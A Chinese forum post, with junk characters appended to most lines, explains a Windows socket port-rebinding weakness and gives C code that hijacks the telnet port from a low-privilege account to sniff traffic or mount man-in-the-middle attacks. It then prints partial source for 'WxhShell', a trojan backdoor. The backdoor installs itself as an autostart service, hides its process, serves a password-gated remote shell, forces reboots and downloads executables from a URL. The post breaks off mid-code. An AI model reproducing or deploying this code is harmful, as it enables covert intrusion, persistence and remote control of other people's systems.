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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r~q 3nIe/,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KbTd`AIL  
rJKac"{  
  saddr.sin_family = AF_INET; mIh >8))E  
 hSgH;k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VqL#w<A %  
"J"RH:$v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H9%[! RF  
Mfinh@K,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l?<DY$H 0  
'dvi@Jx  
  这意味着什么?意味着可以进行如下的攻击: J|=0 :G  
5`\"UC7?%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /hp [ +K  
dKJ-{LV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zgw4[GpL  
LTWiCI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^Gwpx +  
&qyXi[vw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?"-1QG  
;FnU[Q`M#L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aE 2=  
0T2^$^g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K3xt,g  
w:nLm,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FxdWJ|rN9D  
/1h ${mo~  
  #include d.xT8l}sS  
  #include Y. Uca<{.[  
  #include @p%WFNR0  
  #include    4Is Wp!`W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9}A\Bh tiM  
  int main() l8H8c &  
  { +%=lu14G  
  WORD wVersionRequested; M REB  
  DWORD ret; >UnLq:G  
  WSADATA wsaData; ]O&\Pn0q  
  BOOL val; 3Pgld*i7  
  SOCKADDR_IN saddr; ^y.|KA3[  
  SOCKADDR_IN scaddr; !S#K6:  
  int err; L};P*{q2Z  
  SOCKET s; 3g87ir  
  SOCKET sc; a[=;6!  
  int caddsize; }fZ~HqS2w  
  HANDLE mt; P!u0_6  
  DWORD tid;   g&r3 ;  
  wVersionRequested = MAKEWORD( 2, 2 ); K^e4w`F|  
  err = WSAStartup( wVersionRequested, &wsaData ); ~FnuO!C  
  if ( err != 0 ) { $EG9V++b3  
  printf("error!WSAStartup failed!\n"); 9_x rw:4  
  return -1; {J*|)-eAw  
  } 6Z<|L^  
  saddr.sin_family = AF_INET; q+2v9K@  
   BG_6$9y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &$yDnSt\  
N{#9gr3zi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yA~1$sA1  
  saddr.sin_port = htons(23); d]vom@iI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y<kg;-& 8  
  { s1bb2R  
  printf("error!socket failed!\n"); uaqV)H  
  return -1; w*\JA+  
  } 2sYz$ZGC"#  
  val = TRUE; :u`gjj$:s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U;#G $  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <9]J/w+  
  { eCjyx|:J  
  printf("error!setsockopt failed!\n"); [&sabM`Ul  
  return -1; Ys]cJ]  
  } -_BX\iP{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L KLLBrm:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A "/|h].  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /h 4rW>8D2  
B&AF(e (  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MIY`"h0*  
  { -oi@1g @  
  ret=GetLastError(); ,z~"Mst  
  printf("error!bind failed!\n"); NAX`y2z  
  return -1; (Rsf;VPO  
  } {wD:!\5  
  listen(s,2); VV"w{#XKw  
  while(1) 1L%$\0B4hm  
  { :cKdl[E4z  
  caddsize = sizeof(scaddr); { g4`>^;  
  //接受连接请求 pP%9MSCi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C8%MKNPd  
  if(sc!=INVALID_SOCKET) ,V[|c$  
  { hE7rnn{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SN]Na<P  
  if(mt==NULL) LtGjHB\+  
  { vCUbbQz  
  printf("Thread Creat Failed!\n"); HLPY%VeD  
  break; K^I B1U$  
  } erOj(ce  
  } |>b;M ,`OO  
  CloseHandle(mt); Cx&l0ZXHEX  
  } wQ8<%qi"L  
  closesocket(s); [-Xah]g  
  WSACleanup(); Sa@T#%oU  
  return 0; I~4!8W-Y  
  }   ?kS#g  
  DWORD WINAPI ClientThread(LPVOID lpParam) `A<2wd;  
  { T(Ji%S >  
  SOCKET ss = (SOCKET)lpParam; -/:K.SY,  
  SOCKET sc; QZJnb%]  
  unsigned char buf[4096]; O*%5P5'p"{  
  SOCKADDR_IN saddr; izu_1X  
  long num; rdsZ[ii  
  DWORD val; T.W^L'L `  
  DWORD ret; UG3}|\.u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^].U?t.n)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D^6Q`o  
  saddr.sin_family = AF_INET; jp|*kBDq\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4I#@xm8)  
  saddr.sin_port = htons(23); qMw_`dC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) In8{7&iVO  
  { 9CAu0N5<  
  printf("error!socket failed!\n"); 7rG+)kHG  
  return -1; <sSH^J4QqX  
  } Tj}%G  
  val = 100; FiSx"o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~V0 GRPnI  
  { \jb62Jp  
  ret = GetLastError(); +No` 89Y  
  return -1; {^k7}`7,  
  } o#>Mf464I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l| y.6v  
  { DVf}='en8  
  ret = GetLastError(); 5n1`$T.WG  
  return -1; L`(\ud  
  } VQ8Fs/Zt!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xVRxKM5 {  
  { *P|~v Cnr  
  printf("error!socket connect failed!\n"); P9 y+rF.  
  closesocket(sc); 9@}5FoX"  
  closesocket(ss); P=7X+}@  
  return -1; ^^< C9  
  } Tp.:2[  
  while(1) 4*inN~cU  
  { C~pQJ@bF0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yhjv[9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (?ULp{VPFl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^]Q.V  
  num = recv(ss,buf,4096,0); %<8r`BMo  
  if(num>0) WJ^]mpH9  
  send(sc,buf,num,0); EMpq+LrN  
  else if(num==0) 9W, %[  
  break; JeF$ W!!{  
  num = recv(sc,buf,4096,0); h!Y##_&&4  
  if(num>0) 3i\Np =  
  send(ss,buf,num,0); |kD69 }sG  
  else if(num==0) %gWQ}QF  
  break; YW"uC\kg|  
  } <~aKwSF[wW  
  closesocket(ss); JSID@ n<b?  
  closesocket(sc); *IIA"tC  
  return 0 ; ju07gzz  
  } &%g$Bi,G  
#XG3{MGX[  
R / ND f`  
========================================================== A~X\ dcn  
=yoR>llbBC  
下边附上一个代码,,WXhSHELL a8-V`  
ia-ht>F*;  
========================================================== $zF%F.rln  
l]j;0i  
#include "stdafx.h" EPR85[k  
Q [C26U  
#include <stdio.h> $$EEhy  
#include <string.h> |'I>Ojm  
#include <windows.h> KW3<5+w]c  
#include <winsock2.h> <L<^uFB  
#include <winsvc.h> u /DE  
#include <urlmon.h> 9XKqsvdS  
Ep:hObWG)  
#pragma comment (lib, "Ws2_32.lib") Bs|Xq'1M!;  
#pragma comment (lib, "urlmon.lib") 6J@,bB jVz  
A&M(a  
#define MAX_USER   100 // 最大客户端连接数 78 ]Kv^l^_  
#define BUF_SOCK   200 // sock buffer ;?q}98-2  
#define KEY_BUFF   255 // 输入 buffer < Wp)Y  
!aKu9SR^e  
#define REBOOT     0   // 重启 |MagK$o  
#define SHUTDOWN   1   // 关机 kR:kn:  
 \m+=|  
#define DEF_PORT   5000 // 监听端口 &5XEjY>@  
2 |JEGyDS-  
#define REG_LEN     16   // 注册表键长度 +H *6:  
#define SVC_LEN     80   // NT服务名长度 5 8 7;2  
<Q"G aqZ  
// 从dll定义API !0P:G#o-$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w%..*+P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JYmYX-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [zXC\)&!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gt _tL%  
q'4P/2)va  
// wxhshell配置信息 fD3'Ye<R  
struct WSCFG { !Q5,Zhgr  
  int ws_port;         // 监听端口 hc3tzB  
  char ws_passstr[REG_LEN]; // 口令 <&2<>*/.y  
  int ws_autoins;       // 安装标记, 1=yes 0=no w w[|| =  
  char ws_regname[REG_LEN]; // 注册表键名 BkPt 1i  
  char ws_svcname[REG_LEN]; // 服务名 TU58  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gK@`0/k{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !3\$XK]5ZT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;yyR_N S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +\;Ro18?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W7gY$\1<&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4:^MSgra  
4; 0#Z^p  
}; !]E ]Xd<  
$ZZ?*I  
// default Wxhshell configuration K=E+QvSG  
struct WSCFG wscfg={DEF_PORT, gat;Er  
    "xuhuanlingzhe", VH<d[Mj  
    1, WPAUY<6f  
    "Wxhshell", ;\6@s3  
    "Wxhshell", kPiY|EH  
            "WxhShell Service", mEu2@3^E }  
    "Wrsky Windows CmdShell Service", N ~fE&@-  
    "Please Input Your Password: ", i*$~uuY  
  1, =wW M\f`=  
  "http://www.wrsky.com/wxhshell.exe", |=0w_)Fa]  
  "Wxhshell.exe" </@5>hx/  
    }; x DN u'  
j@^zK!mO  
// 消息定义模块 c q[nqjC=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $Dx*[.M3>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zi_$roq=)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ARt{ 2|  
char *msg_ws_ext="\n\rExit."; !8T04988j  
char *msg_ws_end="\n\rQuit."; B|yz~wu S  
char *msg_ws_boot="\n\rReboot..."; _+nk3-yQw  
char *msg_ws_poff="\n\rShutdown..."; Tx]p4wY:D  
char *msg_ws_down="\n\rSave to "; w{ |`F>f9  
*s-s1v  
char *msg_ws_err="\n\rErr!"; UN F\k1[  
char *msg_ws_ok="\n\rOK!"; ^Ifm1$X}  
U<Qi`uoj!  
char ExeFile[MAX_PATH]; BD;T>M  
int nUser = 0; cWZ uph\  
HANDLE handles[MAX_USER]; tm1&OY  
int OsIsNt; u\= 05N6G  
F?"Gln~;  
SERVICE_STATUS       serviceStatus; n4M Xa()P1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3e47UquZ  
d>W#c8X>  
// 函数声明 {.p;V  
int Install(void); ?U[6X| 1  
int Uninstall(void); %&VI-7+K  
int DownloadFile(char *sURL, SOCKET wsh); (n~fe-?}8  
int Boot(int flag); _b>{:H&\  
void HideProc(void); _-TW-{7bh  
int GetOsVer(void); Z2`M8xEiH  
int Wxhshell(SOCKET wsl); M!mw6';k  
void TalkWithClient(void *cs); O cPgw/ I  
int CmdShell(SOCKET sock); AXte&l=M  
int StartFromService(void); t 4zUj%F  
int StartWxhshell(LPSTR lpCmdLine); {r$Ewc$Yb7  
1aV32oK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ok@`<6v  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  E>i<2  
FG{,l=Z0  
// 数据结构和表定义 xV`l6QS  
SERVICE_TABLE_ENTRY DispatchTable[] = 4 qY  
{ !G\gqkSL  
{wscfg.ws_svcname, NTServiceMain}, ZzTkEz >  
{NULL, NULL} zh0T3U0D  
}; >o{JG(Rn  
4e.19H9  
// 自我安装 \P9ms?((A  
int Install(void) =)c-Xz  
{ _?cum ~A@  
  char svExeFile[MAX_PATH]; 3.hFYA w  
  HKEY key; ^BRqsVw9  
  strcpy(svExeFile,ExeFile); mD ZA\P_  
r-xP 6  
// 如果是win9x系统,修改注册表设为自启动 lw}7kp4 2F  
if(!OsIsNt) { E R~RBzp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k'N``.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S ~h*U2  
  RegCloseKey(key); yocFdI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4e eh+T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RXcN<Y&  
  RegCloseKey(key); !G[%; d  
  return 0; \,X)!%6kZ  
    } dI%ho<zm]  
  } m a@V>*u  
} #qF 1z}L(  
else { R) dP=W*  
r)Lm| S  
// 如果是NT以上系统,安装为系统服务 & fWC-|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i^iu #WC  
if (schSCManager!=0) 4k3pm&  
{ eD2eDxN2  
  SC_HANDLE schService = CreateService  <)~-]  
  ( U9^1 A*  
  schSCManager, g] }!  
  wscfg.ws_svcname, 0%[IG$u)|  
  wscfg.ws_svcdisp, kh=<M{-t  
  SERVICE_ALL_ACCESS, p4k}B. f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hgW1g#  
  SERVICE_AUTO_START, ^,^MW  
  SERVICE_ERROR_NORMAL, uM_ww6  
  svExeFile, TI l 'Z7  
  NULL, 4@Db $PHs  
  NULL, U*\K<fw   
  NULL, WwZ3hd  
  NULL, s$fX ;  
  NULL Ai[@2AyU  
  ); na~ FT[3 C  
  if (schService!=0) Me? I8:/  
  { y9R%%i  
  CloseServiceHandle(schService); .N.RpRz{f  
  CloseServiceHandle(schSCManager); #-f9>S9_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZYY2pY 1  
  strcat(svExeFile,wscfg.ws_svcname); |94o P>d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G rU`;M"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5psJv|Zo]  
  RegCloseKey(key); Q4LPi;{\  
  return 0; Y G8C<g6E7  
    } (t V T&eO  
  } MI(#~\Y~P  
  CloseServiceHandle(schSCManager); *P7/ry^<F  
} siCm)B  
} $H)!h^7^9  
)$i,e`T   
return 1; +"BJjxG  
} N*$GP3]  
.uS`RS8JM  
// 自我卸载 uI?Z_  
int Uninstall(void) uo2k  
{ :*|Ua%L_  
  HKEY key; *U$]U0M  
9D M,,h<`  
if(!OsIsNt) { m> P\}A^N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9{Etv w  
  RegDeleteValue(key,wscfg.ws_regname); uHZ4 @ w:  
  RegCloseKey(key); 6.KEe^[-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GwP!:p|  
  RegDeleteValue(key,wscfg.ws_regname); '/03m\7  
  RegCloseKey(key); i\/'w]  
  return 0; ]*mUc`  
  } p o)lN[v  
} EKF4 ]  
} K/N{F\  
else { T"za|Fo  
U_PH#e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i6n,N)%H  
if (schSCManager!=0) j|Vl\Z&o)  
{ Xy K,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kw2yb   
  if (schService!=0) M$@~|pQ<  
  { )LKJfoo PY  
  if(DeleteService(schService)!=0) { cf"&22TQ+Z  
  CloseServiceHandle(schService); E%D.a=UX,  
  CloseServiceHandle(schSCManager); |k*bWuXgLs  
  return 0; <W8 %eRfU  
  } l P=I0A-  
  CloseServiceHandle(schService); e<1Ewml(]  
  } 0wVM% Dng  
  CloseServiceHandle(schSCManager); ^L d5<  
} #9[>  
} +3-5\t`  
X,3\c:  
return 1; FA{Q6fi:2  
} :X'B K4EN  
@SxZ>|r-|v  
// 从指定url下载文件 :*]#n  
int DownloadFile(char *sURL, SOCKET wsh) XK/l1E3N  
{ j;y(to-e>D  
  HRESULT hr; u4xtlGt5  
char seps[]= "/"; H{5,  -x  
char *token; <2 [vR|Q*  
char *file; obF|;fwPnR  
char myURL[MAX_PATH]; 57;0,k5Gy  
char myFILE[MAX_PATH]; 5,^DT15a4P  
G,?a8(  
strcpy(myURL,sURL); 8r+u!$i!H  
  token=strtok(myURL,seps); !x R9I0V5  
  while(token!=NULL) K*DH_\SPK  
  { [efU)O&  
    file=token; b?iPQ$NyQ  
  token=strtok(NULL,seps); DDGDj)=`  
  } \7qj hA@  
t(roj@!x_o  
GetCurrentDirectory(MAX_PATH,myFILE); +3zQ"lLD^  
strcat(myFILE, "\\"); 1I69O6"  
strcat(myFILE, file); nF]R "  
  send(wsh,myFILE,strlen(myFILE),0); VvP: }yJ  
send(wsh,"...",3,0); Ieq_XF]U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :^{KY(3  
  if(hr==S_OK) 'bM=  
return 0; aLm~.@Q  
else kBC$dW-  
return 1; &53,8r  
$#5 'c+0  
} aL&egM*  
psIo[.$rTk  
// 系统电源模块 j96}E/gF  
int Boot(int flag) sj/k';#g  
{ Jv3G\9_  
  HANDLE hToken; Gchs$^1`t  
  TOKEN_PRIVILEGES tkp; ;Krs*3 s  
&W<9#RPK'  
  if(OsIsNt) { "DvZCf[}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QbHX.:C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9QHj$)?k,  
    tkp.PrivilegeCount = 1; yZp/P%y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |gxPuAXa)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :qj^RcmVPL  
if(flag==REBOOT) { ydOG8EI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ](s5 ;ta   
  return 0; .K4)#oC  
} T`]%$$1s  
else { _qf~ hhi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `0U\|I#  
  return 0; WO%pX+PoH  
} d\3 %5Y  
  } 1QmOUw}yj  
  else { d ]|K%<+(  
if(flag==REBOOT) { eA]8M^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xqg4b{  
  return 0; 4,:I{P_>6B  
} Y&,}q_Z:  
else { t`hes $E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \DE, ,  
  return 0; fNx!'{o"  
} ~V?z!3r-)  
} ]CcRI|g}  
_\k?uUo&,^  
return 1; ;! ?l8R  
} 7O|`\&RY R  
F%lC%~-qh  
// win9x进程隐藏模块 X)RgXl{  
void HideProc(void) 5K?/-0yG  
{ q!U$\Q&  
K>~YO~~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \5<Z[#{  
  if ( hKernel != NULL ) ->;2CcpHB  
  { d#d&CJAfr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lcpiCZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z VdQ$  
    FreeLibrary(hKernel); a"O;DYh  
  } p]y.N)a  
SfY 5Xgp  
return; G,<d;:  
} Xe: ^<$z  
!9r%d8!z  
// 获取操作系统版本 H2[0@|<<  
int GetOsVer(void) fH9"sBiO  
{ Ex]Ku  
  OSVERSIONINFO winfo; xuqG)HthRS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w1zMY:9  
  GetVersionEx(&winfo); #M!{D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }JQy&V%  
  return 1; b[:m[^  
  else 7p!f+\kM  
  return 0; ?771e:>S-  
} b=sY%(2s  
r~QE}00@^  
// 客户端句柄模块 HWFTI /]  
int Wxhshell(SOCKET wsl) *(vh|  
{ [h B$%i]\<  
  SOCKET wsh; hop| xtai;  
  struct sockaddr_in client; XGe;v~L  
  DWORD myID; @C=gMn.E  
&k_LK  
  while(nUser<MAX_USER) 7KUf,0D  
{ v \; /P  
  int nSize=sizeof(client); 3 .j/D^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RRQv<x  
  if(wsh==INVALID_SOCKET) return 1; Bnwq!i!M  
JP( tf+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;C1#[U1Uy  
if(handles[nUser]==0) T)q Uf H  
  closesocket(wsh); ^gyI-S(;  
else BaP'y8dVN  
  nUser++; tG9C(D`G  
  } &F7_0iA P(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =)jo}MB  
}|8^+V&  
  return 0; QH7 GEj]  
} I} Q+{/?/  
\AoqOC2u  
// 关闭 socket )J+OyR=  
void CloseIt(SOCKET wsh) }#&[[}@th  
{ T]/>c  
closesocket(wsh); #k &#d9}  
nUser--; :nl,A c  
ExitThread(0); &ZFHWI(P  
} 6pC1C.  
Vz-q7*o $S  
// 客户端请求句柄 csJ)Pt?d  
void TalkWithClient(void *cs) ~W4SFp  
{ c,)]!{c  
2$t%2>1>@  
  SOCKET wsh=(SOCKET)cs; Gi@c`lRd1  
  char pwd[SVC_LEN]; Jwj=a1I 53  
  char cmd[KEY_BUFF]; |Go$z3bx  
char chr[1]; aTH$+f1?Q  
int i,j; !RwhVaSh  
pH3\X cn  
  while (nUser < MAX_USER) { w03Ur4>T  
WH7UJCQ  
if(wscfg.ws_passstr) { {LA?v& b'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q&6|uV])H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R@Gll60  
  //ZeroMemory(pwd,KEY_BUFF); H!"TS-s`  
      i=0; g$Vr9MH  
  while(i<SVC_LEN) { V)5,E>;EN  
SE i\H$ !  
  // 设置超时 ?< yYm;B  
  fd_set FdRead; 8vR'<_>Q  
  struct timeval TimeOut; z9 #-  
  FD_ZERO(&FdRead); .ej+?QYwC  
  FD_SET(wsh,&FdRead); <|G!Qn?2-  
  TimeOut.tv_sec=8; 5efN5Kt  
  TimeOut.tv_usec=0; BOA7@Zaa$p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %yfl-c(u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  H4YA  
#< :`:@2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >X:!Y[N  
  pwd=chr[0]; K]yWpW  
  if(chr[0]==0xd || chr[0]==0xa) { ",Mrdxn7  
  pwd=0; 9FNsW$b?  
  break; /$\8?<Pc".  
  } z"7X.*]  
  i++; &IRM<A!8  
    } b&_Ifx_YF  
~5Mj:{B  
  // 如果是非法用户,关闭 socket N. nGez  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  ZpBP#Y*  
} {+{p.  
xA2I+r*o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q]K$yo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (=1zMZ o  
 nsV=  
while(1) { c (5XT[Tw  
:.a184ax  
  ZeroMemory(cmd,KEY_BUFF); DC BN89#  
'q}f3u>  
      // 自动支持客户端 telnet标准   vE#8&Zq  
  j=0; ?X\.O-=4X  
  while(j<KEY_BUFF) { i<tJG{A=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !SnLvW89Z  
  cmd[j]=chr[0]; H*f2fyC1\  
  if(chr[0]==0xa || chr[0]==0xd) { /e|qyWs  
  cmd[j]=0; 4 540Lw'A  
  break; ${wp}<u_  
  } &?xmu204  
  j++; ug;\`.nT^  
    } ){eQ.yW  
L=HnVgBs  
  // 下载文件 x`IWo:j  
  if(strstr(cmd,"http://")) { 5~2_wWjX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3a ZS1]/  
  if(DownloadFile(cmd,wsh)) mtE+}b@(!&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yFd94 2  
  else v Lq%k+D#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SlT>S1`rnG  
  } Wy-y-wi:p  
  else { ;<b7kepR  
C#)T$wl[E  
    switch(cmd[0]) { yn<J>e  
  j]R[;8g  
  // 帮助 T VSCjI  
  case '?': { Ux=B*m1@{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a +~b3  
    break; k:@N6K/$P^  
  } alNn(0MG  
  // 安装 %Kp^wf#o9  
  case 'i': { :kwDa a  
    if(Install()) .J+F H G'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kFyp;=d:K  
    else ke<5]&x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 15' fU!  
    break; oZl%0Uy?9I  
    } 7kT X  
  // 卸载 tuuwoiQ*`  
  case 'r': { Gui[/iY,F  
    if(Uninstall()) uf (_<~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hJk:&!M=T  
    else q0vZR"y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X*5N&AJ  
    break; UVgSO|Tg  
    } R>;&4Sjr  
  // 显示 wxhshell 所在路径 e:.?T\  
  case 'p': { ?gvu E1  
    char svExeFile[MAX_PATH]; E_Y!in 70  
    strcpy(svExeFile,"\n\r"); Bm%|WQK  
      strcat(svExeFile,ExeFile); ZB/1I;l`c  
        send(wsh,svExeFile,strlen(svExeFile),0); %Lh+W<;  
    break; UK,sMKbl1  
    } l7@cov  
  // 重启 )ZrB-(u~k  
  case 'b': { fy|I3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m!P<# |V  
    if(Boot(REBOOT)) W@'*G*f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b^ [ z'  
    else { mh SknyqT  
    closesocket(wsh); 1~LfR  
    ExitThread(0); hk S:_e=  
    } UTN[! 0[  
    break; .P?n<n#  
    } 2Yd@ V}  
  // 关机 [/ertB  
  case 'd': {  y}|E)  
